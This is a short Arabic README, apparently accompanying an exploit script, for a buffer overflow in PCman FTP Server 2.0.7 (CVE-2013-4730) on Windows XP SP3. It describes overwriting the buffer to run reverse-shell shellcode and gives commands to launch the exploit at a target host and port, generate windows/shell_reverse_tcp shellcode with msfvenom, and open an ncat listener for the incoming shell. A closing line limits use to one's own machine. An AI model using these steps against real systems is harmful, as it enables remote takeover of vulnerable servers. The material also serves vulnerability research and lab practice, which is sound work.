تجاوز سعة المخزن المؤقت وتنفيذ التعليمات البرمجية عن بُعد في خادم PCman FTP [CVE-2013-4730]

تجاوز بسيط جدًا لسعة المخزن المؤقت باستخدام CVE-2013-4730 ضد خادم PCman's FTP Server الإصدار v.2.0.7

كيف يعمل؟

يقوم هذا الـ BoF السهل بالكتابة فوق المخزن المؤقت وتنفيذ الـ shellcode الذي سيعيد الاتصال (reverse shell)

الأجهزة المعرّضة للخطر:

WindowsXP SP3 يعمل بخادم PCman's FTP Server الإصدار 2.0.7

التشغيل

~$ python3 PCman.py <host> <port>

استبدل الـ shellcode بآخر خاص بك!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

تشغيل netcat

~$ ncat -lvp <shellcode port>

استخدمه فقط على جهازك الخاص!!